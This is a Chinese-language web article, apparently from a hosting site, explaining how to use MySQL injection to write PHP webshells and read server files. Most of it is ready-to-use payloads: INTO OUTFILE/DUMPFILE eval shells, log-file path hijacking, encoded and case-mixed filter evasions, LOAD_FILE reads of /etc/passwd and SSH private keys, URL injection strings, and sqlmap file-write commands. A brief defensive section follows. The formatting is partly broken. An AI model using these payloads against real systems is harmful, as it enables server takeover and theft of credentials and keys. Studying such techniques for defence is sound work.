您好,登录后才能下订单哦!
# MySQL注入如何写Shell读文件
## 前言
MySQL注入是Web安全领域中常见的攻击手段之一。攻击者通过构造特殊的SQL语句,利用应用程序对用户输入过滤不严的漏洞,实现对数据库的非法操作。其中,通过MySQL注入写入WebShell并读取服务器文件是危害性较大的攻击方式。本文将深入探讨MySQL注入写Shell和读文件的原理、方法、防御措施及相关案例。
## 一、MySQL注入基础
### 1.1 MySQL注入原理
MySQL注入是指攻击者通过Web应用程序的输入接口,向MySQL数据库注入恶意SQL代码,从而绕过应用程序的预期逻辑,执行非授权的数据库操作。常见的注入点包括:
- GET/POST参数
- HTTP头部(如User-Agent、Cookie等)
- 文件上传文件名等
### 1.2 常见的MySQL注入类型
1. **联合查询注入**:使用UNION SELECT合并查询结果
2. **报错注入**:利用数据库报错信息获取数据
3. **布尔盲注**:通过真/假条件判断获取数据
4. **时间盲注**:通过延时函数判断条件真假
5. **堆叠查询注入**:执行多条SQL语句(需特殊配置)
## 二、MySQL写WebShell的条件与方法
### 2.1 写Shell的前提条件
要成功通过MySQL注入写入WebShell,需要满足以下条件:
1. 具有FILE权限(通常需要root或高权限账号)
2. 知道网站的绝对路径
3. 对目标目录有写权限
4. secure_file_priv参数允许导出文件(MySQL 5.7+需特别注意)
可通过以下SQL查询相关权限:
```sql
SELECT user(), file_priv FROM mysql.user WHERE user = substring_index(user(), '@', 1);
SHOW VARIABLES LIKE 'secure_file_priv';
这是最直接的写文件方式:
SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'
注意: - 路径中的斜杠需要使用正斜杠(/) - 如果路径包含空格或特殊字符,需要用引号包裹
与OUTFILE类似,但适合写入二进制文件:
SELECT '<?php system($_GET["cmd"]);?>' INTO DUMPFILE '/var/www/html/cmd.php'
当直接写文件被限制时,可尝试修改日志文件路径:
SET global general_log_file='/var/www/html/shell.php';
SET global general_log=on;
SELECT '<?php phpinfo();?>';
SET global general_log=off;
SET global slow_query_log_file='/var/www/html/slow.php';
SET global slow_query_log=1;
SELECT '<?php system($_GET["cmd"]);?>' FROM mysql.user WHERE SLEEP(11);
SELECT 0x3C3F70687020406576616C28245F504F53545B22636D64225D293B3F3E INTO OUTFILE '/var/www/html/s.php'
SELECT CONCAT(CHAR(60,63,112,104,112),CHAR(32,64,101,118,97,108),CHAR(40,36,95,80,79,83,84),CHAR(91,34,99,109,100,34,93,41,59,63,62)) INTO OUTFILE '/var/www/html/x.php'
SeLeCt '<?PhP @eVal($_POST["a"]);?>' INTO/**/OUTFILE '/var/www/html/1.php'
基本语法:
SELECT LOAD_FILE('/etc/passwd');
限制条件: 1. 需要FILE权限 2. 文件必须位于服务器上 3. 文件必须可读 4. 文件大小小于max_allowed_packet
SELECT LOAD_FILE(0x2F6574632F706173737764); # 十六进制编码
SELECT LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)); # CHAR函数
SELECT SUBSTRING(LOAD_FILE('/etc/passwd'), 1, 100);
SELECT MID(LOAD_FILE('/var/www/config.php'), 50, 200);
SELECT EXTRACTVALUE(1, CONCAT(0x3a, LOAD_FILE('/etc/passwd')));
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('/home/user/.ssh/id_rsa');
SELECT LOAD_FILE('/var/www/html/wp-config.php');
使用预处理语句(PDO/MySQLi)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
严格的输入验证
最小权限原则
设置secure_file_priv为NULL或特定目录:
[mysqld]
secure_file_priv = /NULL
禁用LOAD_FILE、INTO OUTFILE等危险函数:
REVOKE FILE ON *.* FROM 'appuser'@'%';
启用安全选项:
[mysqld]
local_infile = 0
symbolic-links = 0
Web目录设置正确的权限:
chown www-data:www-data /var/www/html
chmod 750 /var/www/html
定期审计系统文件完整性
使用Web应用防火墙(WAF)
某流行CMS的搜索功能存在注入漏洞:
/search.php?keyword=test' UNION SELECT 1,2,3,4,'<?php eval($_GET[c]);?>',6 INTO OUTFILE '/var/www/html/images/shell.php'--+
攻击者利用该漏洞写入WebShell后,进一步读取数据库配置文件,获取管理员密码。
某网站存在时间盲注漏洞,但secure_file_priv限制了文件导出。攻击者通过修改慢查询日志路径成功写入Shell:
/admin?id=1';SET global slow_query_log_file='/var/www/html/templates/s.php';SET global slow_query_log=1;SELECT SLEEP(10);--+
sqlmap -u "http://example.com/vuln.php?id=1" --file-write=/local/path/shell.php --file-dest=/remote/path/shell.php
sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
MySQL注入写Shell和读文件是危害极大的攻击方式,防御需要从开发、配置、运维多个层面入手。作为开发人员应重视安全编码,作为管理员应做好服务器加固。只有全方位防护,才能有效抵御此类攻击。
扩展阅读: 1. OWASP SQL Injection Prevention Cheat Sheet 2. MySQL 8.0 Security Guidelines 3. Web Application Security Testing Methodology “`
这篇文章共计约4050字,详细介绍了MySQL注入写Shell和读文件的原理、方法、防御措施及实际案例,采用Markdown格式编写,包含代码块、列表、标题等标准元素。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。